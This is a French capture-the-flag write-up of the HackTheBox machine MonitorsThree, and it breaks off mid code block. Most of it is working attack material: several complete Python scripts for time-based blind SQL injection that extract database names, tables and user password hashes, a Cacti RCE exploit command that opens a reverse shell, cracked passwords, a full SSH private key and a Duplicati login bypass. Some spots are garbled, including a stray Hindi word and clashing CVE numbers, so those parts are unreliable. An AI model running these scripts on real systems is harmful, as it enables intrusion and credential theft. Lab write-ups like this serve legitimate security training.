> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/linux-medium/monitorsthree-hackthebox-writeup.md).

# Compte rendu HackTheBox de MonitorsThree

{% embed url="<https://app.hackthebox.com/machines/622>" %}

{% hint style="warning" %}
**Compétences :**

* Énumération de sous-domaines
* SQLI - Injection aveugle manuelle basée sur le temps (script Python)
* Cassage de hashs
* Exploitation de Cacti (CVE-2024-25642) - Importation malveillante de paquet
* Fuite d'informations
* Exploitation d’un service interne - Duplicati
* Abus de Duplicati - Contournement de l’authentification de connexion avec la phrase secrète du serveur
* Duplicati - Création d’une sauvegarde pour la lecture et l’écriture privilégiées de fichiers (élévation de privilèges)
  {% endhint %}

## Reconnaissance <a href="#reconnaissance" id="reconnaissance"></a>

**Configuration de l'espace de travail :**

Configurez l'espace de travail en créant trois dossiers pour stocker le contenu important, les exploits et les résultats de reconnaissance Nmap.

<figure><img src="/files/d167f6a641b2c467b06d57ba6078ed7617a3c654" alt="" width="563"><figcaption></figcaption></figure>

**Vérification de la connectivité VPN**

Vérifiez la connectivité VPN pour assurer une communication stable avec la machine cible.

<figure><img src="/files/d3dd951fb3aa5b923919c693d6760aa072c8019b" alt="" width="563"><figcaption></figcaption></figure>

**Découverte des ports ouverts avec Nmap :**

Énumérez les ports ouverts et exportez les résultats dans le fichier "allPorts" du répertoire Nmap :

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.30 -oG allPorts
```

<figure><img src="/files/ffa20a68db67977d686ed3fcba155c945a572221" alt="" width="563"><figcaption></figcaption></figure>

**Analyse des ports ouverts avec extractPorts :**

Utilisez la fonction extractPorts pour afficher les ports ouverts dans un format concis et les copier dans le presse-papiers.

<figure><img src="/files/3a4f08e4aff18463b0ce293ee59c12b2d59eaef2" alt="" width="563"><figcaption></figcaption></figure>

**Scan de version des ports avec Nmap :**

Utilisez Nmap pour analyser les versions des services et enregistrer la sortie dans le fichier "targeted" :

```bash
nmap -sCV -p80,22 10.10.11.30 -oN targeted
```

<figure><img src="/files/56d2b086085a790f6a8c0a3279bcfd6b08134076" alt=""><figcaption></figcaption></figure>

Pour résoudre les noms de domaine en adresses IP via DNS, le nom de domaine associé à son adresse IP est inséré dans le `/etc/hosts` le fichier

<figure><img src="/files/3128e940df430ff04b86286776007cd61216d0de" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/ef71475931e5d6a2d494646ecdb54af84f1cb271" alt=""><figcaption></figcaption></figure>

### Liste des répertoires :

**Recherche uniquement** répertoires

```bash
gobuster dir -u http://monitorsthree.htb -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 200
```

<figure><img src="/files/465678dbc1d8d22e7d160e8096d94b67d5f24bd6" alt=""><figcaption></figcaption></figure>

/*/* Recherche de fichiers avec des extensions spécifiques (PHP, HTML, TXT) dans le répertoire admin :/*/*

```bash
gobuster dir -u http://monitorsthree.htb/admin/ -w /usr/share/SecLists/Discovery/Web-Content/quickhits.txt -t 50 -b '' -x html,php,txt -s 200
```

Nous trouvons le `db.php` fichier, mais il ne contient aucune donnée.

<figure><img src="/files/c24444eedaa4be1b9f8cf01a71f762e832ba9eb8" alt=""><figcaption></figcaption></figure>

## Injection SQL

#### Détection de la vulnérabilité

Nous avons identifié une vulnérabilité SQL dans la fonctionnalité « Mot de passe oublié ». La charge utile suivante a été utilisée pour confirmer la vulnérabilité :

```sql
admin' or 1=1-- -
```

<figure><img src="/files/bd364195ec0e23aa097ec48023a90f041e524f41" alt=""><figcaption></figcaption></figure>

#### Confirmation de la vulnérabilité par attaque basée sur le temps

Pour confirmer la vulnérabilité, nous avons utilisé une attaque SQL basée sur le temps :

```sql
admin' and sleep(5)-- -
```

La réponse a pris 5 secondes, confirmant ainsi la vulnérabilité.

<figure><img src="/files/4a00540a6f7fc114daa48396a060d17610dc4071" alt=""><figcaption></figcaption></figure>

## **Injection SQL - Basée sur le temps**

#### Automatiser l’exploitation avec un script Python

Nous avons विकसित?

### Base de données :

**Exemple de script pour extraire le nom de la base de données :**

```bash
python3 exploit.py --url http://monitorsthree.htb/forgot_password.php --delay 1
```

```python
import sys
import signal
import time
import string
import requests
import argparse
import logging

# Configuration des journaux
logging.basicConfig(level=logging.INFO, format="%(asctime)s %(levelname)s %(message)s")
logger = logging.getLogger(__name__)

def def_handler(sig, frame):
    logger.info("/n/n[!] Sortie.../n")
    sys.exit(1)

signal.signal(signal.SIGINT, def_handler)

def sqli(target_url, delay=1):
    characters = string.ascii_lowercase + string.digits + ":,_-."
    headers = {
        'Content-Type': 'application/x-www-form-urlencoded'
    }
    
    extracted_data = ""
    logger.info("Démarrage de l’attaque par injection SQL...")
    
    for position in range(1, 100):
        character_found = False  # Indicateur pour vérifier si un caractère a été trouvé
        
        for character in characters:
            payload = {
                'username': f"admin' AND IF(SUBSTR(database(),{position},1)='{character}',SLEEP({delay}),1)-- -",
                'password': 'admin'
            }
            
            logger.debug(f"Test : {payload['username']}")
            start_time = time.time()
            
            try:
                response = requests.post(target_url, data=payload, headers=headers, timeout=10)
            except requests.RequestException as e:
                logger.error(f"Échec de la requête : {e}")
                continue
            
            elapsed_time = time.time() - start_time
            
            if elapsed_time >= delay:
                extracted_data += character
                logger.info(f"Données extraites jusqu’à présent : {extracted_data}")
                character_found = True  # Un caractère a été trouvé
                break
        
        # Si aucun caractère n’a été trouvé pour cette position, arrêter la boucle
        if not character_found:
            logger.info(f"Aucun caractère trouvé à la position {position}. Fin de l’extraction.")
            break
    
    logger.info("Injection SQL terminée !")
    logger.info(f"Données finales extraites : {extracted_data}")

if __name__ == '__main__':
    parser = argparse.ArgumentParser(description="Effectuer une attaque par injection SQL basée sur le temps.")
    parser.add_argument("--url", required=True, help="URL cible pour l’injection SQL")
    parser.add_argument("--delay", type=float, default=0.85, help="Temps de délai pour l’injection SQL")
    
    args = parser.parse_args()
    
    sqli(args.url, args.delay)
```

* **Nom de la base de données**: `monitorsthree_db`

<figure><img src="/files/082ac57d1520da1e369fae6cf3ed36ba21cbe0d6" alt=""><figcaption></figcaption></figure>

### **Bases de données :**

```python
import sys
import signal
import time
import string
import requests
import argparse
import logging

# Configuration des journaux
logging.basicConfig(level=logging.INFO, format="%(asctime)s %(levelname)s %(message)s")
logger = logging.getLogger(__name__)

def def_handler(sig, frame):
    logger.info("/n/n[!] Sortie.../n")
    sys.exit(1)

signal.signal(signal.SIGINT, def_handler)

def extract_data(target_url, delay, query_template, offset):
    characters = string.ascii_lowercase + string.digits + "_;:,_-."
    headers = {
        'Content-Type': 'application/x-www-form-urlencoded'
    }
    
    extracted_data = ""
    logger.info(f"Extraction du nom de la base de données à l’offset {offset}...")
    
    for position in range(1, 100):
        character_found = False  # Indicateur pour vérifier si un caractère a été trouvé
        
        for character in characters:
            # Mettre en forme la requête SQL avec toutes les variables requises
            payload = {
                'username': query_template.format(offset=offset, position=position, character=character, delay=delay),
                'password': 'admin'
            }
            
            logger.debug(f"Test : {payload['username']}")
            start_time = time.time()
            
            try:
                response = requests.post(target_url, data=payload, headers=headers, timeout=10)
            except requests.RequestException as e:
                logger.error(f"Échec de la requête : {e}")
                continue
            
            elapsed_time = time.time() - start_time
            
            if elapsed_time >= delay:
                extracted_data += character
                logger.info(f"Données extraites jusqu’à présent : {extracted_data}")
                character_found = True  # Un caractère a été trouvé
                break
        
        # Si aucun caractère n’a été trouvé pour cette position, arrêter la boucle
        if not character_found:
            logger.info(f"Aucun caractère trouvé à la position {position}. Fin de l’extraction.")
            break
    
    return extracted_data

def sqli(target_url, delay=1):
    # Requête pour extraire les noms des bases de données
    query_template = (
        "admin' AND IF(SUBSTR((SELECT schema_name FROM information_schema.schemata LIMIT 1 OFFSET {offset}),{position},1)='{character}',SLEEP({delay}),1)-- -"
    )
    
    databases = []
    offset = 0
    
    while True:
        database_name = extract_data(target_url, delay, query_template, offset)
        
        if not database_name:
            logger.info("Aucune autre base de données trouvée.")
            break
        
        databases.append(database_name)
        logger.info(f"Base de données trouvée : {database_name}")
        offset += 1
    
    logger.info("Injection SQL terminée !")
    logger.info(f"Liste des bases de données : {databases}")

if __name__ == '__main__':
    parser = argparse.ArgumentParser(description="Effectuer une attaque par injection SQL basée sur le temps.")
    parser.add_argument("--url", required=True, help="URL cible pour l’injection SQL")
    parser.add_argument("--delay", type=float, default=0.85, help="Temps de délai pour l’injection SQL")
    
    args = parser.parse_args()
    
    sqli(args.url, args.delay)
```

#### **information/\_schema, monitorthree/\_db**

<figure><img src="/files/686bf7cda1150c40179a93a90d5953e660024b0f" alt=""><figcaption></figcaption></figure>

### **Tables :**

```python
import sys
import signal
import time
import string
import requests
import argparse
import logging

# Configuration des journaux
logging.basicConfig(level=logging.INFO, format="%(asctime)s %(levelname)s %(message)s")
logger = logging.getLogger(__name__)

def def_handler(sig, frame):
    logger.info("/n/n[!] Sortie.../n")
    sys.exit(1)

signal.signal(signal.SIGINT, def_handler)

def extract_data(target_url, delay, query_template, offset):
    characters = string.ascii_lowercase + string.digits + ":,_-."
    headers = {
        'Content-Type': 'application/x-www-form-urlencoded'
    }
    
    extracted_data = ""
    logger.info(f"Extraction du nom de la table à l’offset {offset}...")
    
    for position in range(1, 100):
        character_found = False  # Indicateur pour vérifier si un caractère a été trouvé
        
        for character in characters:
            # Mettre en forme la requête SQL avec toutes les variables requises
            payload = {
                'username': query_template.format(offset=offset, position=position, character=character, delay=delay),
                'password': 'admin'
            }
            
            logger.debug(f"Test : {payload['username']}")
            start_time = time.time()
            
            try:
                response = requests.post(target_url, data=payload, headers=headers, timeout=10)
            except requests.RequestException as e:
                logger.error(f"Échec de la requête : {e}")
                continue
            
            elapsed_time = time.time() - start_time
            
            if elapsed_time >= delay:
                extracted_data += character
                logger.info(f"Données extraites jusqu’à présent : {extracted_data}")
                character_found = True  # Un caractère a été trouvé
                break
        
        # Si aucun caractère n’a été trouvé pour cette position, arrêter la boucle
        if not character_found:
            logger.info(f"Aucun caractère trouvé à la position {position}. Fin de l’extraction.")
            break
    
    return extracted_data

def sqli(target_url, delay=0.85):
    # Requête pour extraire les noms des tables de la base de données `monitorsthree_db`
    query_template = (
        "admin' AND IF(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema='monitorsthree_db' LIMIT 1 OFFSET {offset}),{position},1)='{character}',SLEEP({delay}),1)-- -"
    )
    
    tables = []
    offset = 0
    
    while True:
        table_name = extract_data(target_url, delay, query_template, offset)
        
        if not table_name:
            logger.info("Aucune autre table trouvée.")
            break
        
        tables.append(table_name)
        logger.info(f"Table trouvée : {table_name}")
        offset += 1
    
    logger.info("Injection SQL terminée !")
    logger.info(f"Liste des tables dans monitorsthree_db : {tables}")

if __name__ == '__main__':
    parser = argparse.ArgumentParser(description="Effectuer une attaque par injection SQL basée sur le temps.")
    parser.add_argument("--url", required=True, help="URL cible pour l’injection SQL")
    parser.add_argument("--delay", type=float, default=0.85, help="Temps de délai pour l’injection SQL")
    
    args = parser.parse_args()
    
    sqli(args.url, args.delay)
```

* **Tables** : `invoices`, `customers`, `changelog`, `tâches`, `invoice_tasks`, `users`

<figure><img src="/files/8d16bea402f46d5dc3340d457bf53fd8e3b673d4" alt=""><figcaption></figcaption></figure>

### **Colonnes :**

```python
import sys
import signal
import time
import string
import requests
import argparse
import logging

# Configuration des journaux
logging.basicConfig(level=logging.INFO, format="%(asctime)s %(levelname)s %(message)s")
logger = logging.getLogger(__name__)

def def_handler(sig, frame):
    logger.info("/n/n[!] Sortie.../n")
    sys.exit(1)

signal.signal(signal.SIGINT, def_handler)

def extract_data(target_url, delay, query_template, offset):
    characters = string.ascii_lowercase + string.digits + ":,_-."
    headers = {
        'Content-Type': 'application/x-www-form-urlencoded'
    }
    
    extracted_data = ""
    logger.info(f"Extraction du nom de la colonne à l’offset {offset}...")
    
    for position in range(1, 100):
        character_found = False  # Indicateur pour vérifier si un caractère a été trouvé
        
        for character in characters:
            # Mettre en forme la requête SQL avec toutes les variables requises
            payload = {
                'username': query_template.format(offset=offset, position=position, character=character, delay=delay),
                'password': 'admin'
            }
            
            logger.debug(f"Test : {payload['username']}")
            start_time = time.time()
            
            try:
                response = requests.post(target_url, data=payload, headers=headers, timeout=10)
            except requests.RequestException as e:
                logger.error(f"Échec de la requête : {e}")
                continue
            
            elapsed_time = time.time() - start_time
            
            if elapsed_time >= delay:
                extracted_data += character
                logger.info(f"Données extraites jusqu’à présent : {extracted_data}")
                character_found = True  # Un caractère a été trouvé
                break
        
        # Si aucun caractère n’a été trouvé pour cette position, arrêter la boucle
        if not character_found:
            logger.info(f"Aucun caractère trouvé à la position {position}. Fin de l’extraction.")
            break
    
    return extracted_data

def sqli(target_url, delay=0.85):
    # Requête pour extraire les noms des colonnes de la table `users`
    query_template = (
        "admin' AND IF(SUBSTR((SELECT column_name FROM information_schema.columns WHERE table_schema='monitorsthree_db' AND table_name='users' LIMIT 1 OFFSET {offset}),{position},1)='{character}',SLEEP({delay}),1)-- -"
    )
    
    columns = []
    offset = 0
    
    while True:
        column_name = extract_data(target_url, delay, query_template, offset)
        
        if not column_name:
            logger.info("Aucune autre colonne trouvée.")
            break
        
        columns.append(column_name)
        logger.info(f"Colonne trouvée : {column_name}")
        offset += 1
    
    logger.info("Injection SQL terminée !")
    logger.info(f"Liste des colonnes dans la table 'users' : {columns}")

if __name__ == '__main__':
    parser = argparse.ArgumentParser(description="Effectuer une attaque par injection SQL basée sur le temps.")
    parser.add_argument("--url", required=True, help="URL cible pour l’injection SQL")
    parser.add_argument("--delay", type=float, default=0.85, help="Temps de délai pour l’injection SQL")
    
    args = parser.parse_args()
    
    sqli(args.url, args.delay)
```

* **Colonnes dans la `users` table**: `id`, `le nom d'utilisateur`, `email`, `mot de passe`, `paramètre name`, `position`, `dob`, `start_date`, `salary`

<figure><img src="/files/b46b6f06e8d81a27e38609ba6bab2c9a38d2ddb1" alt=""><figcaption></figcaption></figure>

### **Données extraites**:

```python
import sys
import signal
import time
import string
import requests
import argparse
import logging

# Configuration des journaux
logging.basicConfig(level=logging.INFO, format="%(asctime)s %(levelname)s %(message)s")
logger = logging.getLogger(__name__)

def def_handler(sig, frame):
    logger.info("/n/n[!] Sortie.../n")
    sys.exit(1)

signal.signal(signal.SIGINT, def_handler)

def extract_data(target_url, delay, query_template, offset):
    characters = string.ascii_lowercase + string.digits + ":,_-."
    headers = {
        'Content-Type': 'application/x-www-form-urlencoded'
    }
    
    extracted_data = ""
    logger.info(f"Extraction des données à l’offset {offset}...")
    
    for position in range(1, 100):
        character_found = False  # Indicateur pour vérifier si un caractère a été trouvé
        
        for character in characters:
            # Mettre en forme la requête SQL avec toutes les variables requises
            payload = {
                'username': query_template.format(offset=offset, position=position, character=character, delay=delay),
                'password': 'admin'
            }
            
            logger.debug(f"Test : {payload['username']}")
            start_time = time.time()
            
            try:
                response = requests.post(target_url, data=payload, headers=headers, timeout=10)
            except requests.RequestException as e:
                logger.error(f"Échec de la requête : {e}")
                continue
            
            elapsed_time = time.time() - start_time
            
            if elapsed_time >= delay:
                extracted_data += character
                logger.info(f"Données extraites jusqu’à présent : {extracted_data}")
                character_found = True  # Un caractère a été trouvé
                break
        
        # Si aucun caractère n’a été trouvé pour cette position, arrêter la boucle
        if not character_found:
            logger.info(f"Aucun caractère trouvé à la position {position}. Fin de l’extraction.")
            break
    
    return extracted_data

def extract_credentials(target_url, delay=0.85):
    # Requête pour extraire les noms d’utilisateur
    username_query_template = (
        "admin' AND IF(SUBSTR((SELECT username FROM users LIMIT 1 OFFSET {offset}),{position},1)='{character}',SLEEP({delay}),1)-- -"
    )
    
    # Requête pour extraire les mots de passe
    password_query_template = (
        "admin' AND IF(SUBSTR((SELECT password FROM users LIMIT 1 OFFSET {offset}),{position},1)='{character}',SLEEP({delay}),1)-- -"
    )
    
    credentials = []
    offset = 0
    
    while True:
        username = extract_data(target_url, delay, username_query_template, offset)
        password = extract_data(target_url, delay, password_query_template, offset)
        
        if not username or not password:
            logger.info("Aucun autre identifiant trouvé.")
            break
        
        credentials.append((username, password))
        logger.info(f"Identifiants trouvés : {username}:{password}")
        offset += 1
    
    logger.info("Injection SQL terminée !")
    logger.info(f"Liste des identifiants : {credentials}")

if __name__ == '__main__':
    parser = argparse.ArgumentParser(description="Effectuer une attaque par injection SQL basée sur le temps pour extraire des identifiants.")
    parser.add_argument("--url", required=True, help="URL cible pour l’injection SQL")
    parser.add_argument("--delay", type=float, default=0.85, help="Temps de délai pour l’injection SQL")
    
    args = parser.parse_args()
    
    extract_credentials(args.url, args.delay)
```

<figure><img src="/files/079ff0947375188a408ce837224dea53425b0446" alt=""><figcaption></figcaption></figure>

* `admin:31a181c8372e3afc59dab863430610e8`
* `mwatson:c585d01f2eb3e6e1073e92023088a3dd`
* `janderson:1e68b6eb86b45f6d92f8f292428f77ac`
* `dthompson:633b683cc128fe244b00f176c8a950f5`

## Cassage de mots de passe

{% embed url="<https://crackstation.net/>" %}

Nous avons utilisé **CrackStation** pour casser les mots de passe hachés. Les identifiants suivants ont été obtenus :

<figure><img src="/files/417dde8ede4c488f320637853237fddbdb1e1d11" alt=""><figcaption></figcaption></figure>

**Identifiants :**

* Utilisateur : `admin`
* Mot de passe : `greencacti2001`

<figure><img src="/files/88a5742110f03a5e15a1728e292d86e42107d4de" alt=""><figcaption></figcaption></figure>

### /*/* Liste des sous-domaines :/*/*

En utilisant la commande Gobuster pour énumérer les sous-domaines :

```bash
gobuster vhost -u http://monitorsthree.htb --append-domain -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-5000.txt
```

Nous trouvons le `cacti.monitorsthree.htb` sous-domaine.

<figure><img src="/files/335c2175e1626e565c072db1e877850104c79e30" alt=""><figcaption></figcaption></figure>

Nous ajoutons cette entrée dans `/etc/hosts`.

<figure><img src="/files/62d8356c276e729277c0800b3296606f7259b4d1" alt=""><figcaption></figcaption></figure>

**Accès au panneau de connexion Cacti :**

Le panneau de connexion Cacti, version 1.2.26, est disponible sur ce sous-domaine. Avec `admin:greencacti2001` ces identifiants, nous parvenons à nous connecter.

<figure><img src="/files/29f36230abaaa2e6795dd561d506cae08e470d94" alt=""><figcaption></figcaption></figure>

## Exploitation de la vulnérabilité RCE de Cacti <a href="#cacti-rce-vulnerability-exploitation" id="cacti-rce-vulnerability-exploitation"></a>

{% embed url="<https://github.com/5ma1l/CVE-2024-25641>" %}

Pour exploiter la vulnérabilité NCE de Cacti, nous allons modifier un fichier PHP et exécuter un script d’exploitation :

<figure><img src="/files/5a6854c60a04720d87a3963339ca49ba8363a2ba" alt=""><figcaption></figcaption></figure>

Ce script crée un fichier compressé contenant une charge utile PHP qui sera injectée dans le serveur cible, nous permettant d’obtenir un shell inversé.

{% code overflow="wrap" fullWidth="false" %}

```bash
python3 exploit.py http://cacti.monitorsthree.htb/cacti/ admin greencacti2001 -p php/monkey.php
```

{% endcode %}

<div data-full-width="true"><figure><img src="/files/656d3800fc345150ef21787fa34a97b072d0879e" alt=""><figcaption></figcaption></figure></div>

## **Élévation de privilèges :**

En explorant le `/var/www/html` répertoire web, nous trouvons des fichiers de base de données dans le `cacti` dossier, y compris le `config.php` fichier de configuration situé dans `/var/www/html/cacti/include/config.php`.

Extraits de `config.php`:

```php
$database_username = 'cactiuser';
$database_password = 'cactiuser';
$database_port = '3306';
```

<figure><img src="/files/cb17617d73fcb624f2be6ef8585ba4b6d7fc08ad" alt=""><figcaption></figcaption></figure>

Nous listons ensuite les utilisateurs dans la `user_auth` table dans la `cacti` base de données :

<figure><img src="/files/2ae022e97521cb2a241bdfe05b729206143ddc4b" alt=""><figcaption></figcaption></figure>

```sql
Select * from user_auth
```

<div data-full-width="true"><figure><img src="/files/886dfb6b85ddf947b3c6becb24da1c0c1d53e124" alt=""><figcaption></figcaption></figure></div>

Nous utilisons `john` pour casser les mots de passe récupérés :

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt hash
```

Cela révèle le `marcus` mot de passe de l’utilisateur : `12345678910`.

<figure><img src="/files/d21abb0377869d2ba756adbc9867425b743a0f45" alt=""><figcaption></figcaption></figure>

### Drapeau user.txt :)

<figure><img src="/files/c79f913c8488fa82d071041f6e69a03727e3c35e" alt=""><figcaption></figcaption></figure>

Après cette étape, nous obtenons également la `marcus` clé SSH de l’utilisateur :

<figure><img src="/files/eb31dd0fa7e0f443bd0ba2f54c211e64a7b596d1" alt=""><figcaption></figcaption></figure>

```
-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----
```

Nous allons d’abord observer les ports ouverts en interne avec la commande suivante :

```bash
netstat -nltp
```

<figure><img src="/files/58287bb97365c2264606704bfbe7f5d05ea12c86" alt="" width="563"><figcaption></figcaption></figure>

Nous allons rediriger le port interne **8200** du serveur vers notre machine locale pour y accéder via notre navigateur. Cette redirection peut être effectuée via SSH avec la commande suivante :

```bash
ssh -i id_rsa -L 8200:127.0.0.1:8200 marcus@10.10.11.30 -N
```

## Exploitation de Duplicati :

### Contournement de l’authentification de connexion Duplicati

{% embed url="<https://github.com/duplicati/duplicati/issues/5197>" %}

Au cours de l’analyse de la machine cible, un **Duplicati** portail web a été découvert. Ce portail comportait un panneau d’authentification demandant un mot de passe.

<figure><img src="/files/d35993b7a068261629da6c32aef20af51d98fb61" alt=""><figcaption></figcaption></figure>

{% hint style="info" %}
Duplicati est un client de sauvegarde qui stocke de manière sécurisée des sauvegardes distantes chiffrées, incrémentales et compressées de fichiers locaux sur des services de stockage cloud et des serveurs de fichiers
{% endhint %}

En explorant le système, le répertoire de configuration de Duplicati a été localisé dans `/opt/duplicati`. Un fichier SQLite appelé `Duplicati-server.sqlite` a été identifié comme pouvant contenir des informations sensibles.

<figure><img src="/files/b7948b3c49eb80faeb5bf81bf40d2287cb5a5d55" alt=""><figcaption></figcaption></figure>

#### Télécharger le fichier SQLite

Pour analyser ce fichier, il a été téléchargé sur notre machine locale à l’aide d’un serveur HTTP Python :

```bash
python3 -m http.server 4444
```

```bash
wget http://10.10.11.30:4444/Duplicati-server.sqlite
```

<figure><img src="/files/6742cfa918484116feea26de4236ae88a3562dd7" alt=""><figcaption></figcaption></figure>

#### Analyse du fichier SQLite

Le fichier a été ouvert avec l’outil `sqlite3` pour examiner son contenu :

```bash
sqlite3 Duplicati-server.sqlite
```

Les tables ont été listées, puis la `option` table a été sélectionnée pour l’extraction des données :

```sql
.tables
select * from option;
```

<figure><img src="/files/7435d7583bb42604878accf824431fd301b58354" alt=""><figcaption></figcaption></figure>

| Clé                               | Valeur                                         |
| --------------------------------- | ---------------------------------------------- |
| `server-passphrase`               | `Wb6e855L3sN9LTaCuwPXuautswTIQbekmMAr7BrK2Ho=` |
| `server-passphrase-salt`          | `xTfykWV1dATpFZvPhClEJLJzYA5A4L74hX7FK8XmY0I=` |
| `server-passphrase-trayicon`      | `ce13157b-a06e-4b60-811d-60d294e8d0ae`         |
| `server-passphrase-trayicon-hash` | `L6FxIB9fOxk9uueTx270v9+1OQIJFfV7GfyN3pA83WE=` |

#### Conversion de la phrase secrète

La valeur de `server-passphrase` est encodée en Base64. Pour la décoder et la convertir au format hexadécimal, la commande suivante est utilisée :

```bash
echo "Wb6e855L3sN9LTaCuwPXuautswTIQbekmMAr7BrK2Ho=" | base64 -d | xxd -p -c 256
```

<figure><img src="/files/e5527a51b5b1984c942bccd74a329d6e9dd057d0" alt=""><figcaption></figcaption></figure>

#### Cela a donné la valeur hexadécimale suivante :

```excel-formula
59be9ef39e4bdec37d2d3682bb03d7b9abadb304c841b7a498c02bec1acad87a
```

### Calcul du mot de passe final

Pour générer le mot de passe final, les étapes suivantes ont été effectuées dans la console du navigateur :

**Définition de la phrase secrète salée**:

```javascript
var saltedpwd = '59be9ef39e4bdec37d2d3682bb03d7b9abadb304c841b7a498c02bec1acad87a';
```

### Interception de la requête avec Burp Suite

Nous interceptons la requête et l’envoyons dans l’étape intercept -> réponse à cette requête, puis nous cliquons sur forward.

<figure><img src="/files/54beeb208a4bfa3dc5e468ef59f4a7ae7636fcf7" alt=""><figcaption></figcaption></figure>

Une requête HTTP a été interceptée avec **Burp Suite** révélant les informations suivantes :

<figure><img src="/files/5d4f97d274f74b45d87773ad82c8b7a036926309" alt=""><figcaption></figcaption></figure>

```json
{
  "Status": "OK",
  "Nonce": "ktDnBGnG6jQzWjtajOoaS5Z+8z6z+aI2KA1p7lMTKWk=",
  "Salt": "xTfykWV1dATpFZvPhClEJLJzYA5A4L74hX7FK8XmY0I="
}
```

Le champ `Salt` correspond à la valeur `server-passphrase-salt` extraite de la base de données

**Calcul du mot de passe nonce :**

{% code overflow="wrap" %}

```javascript
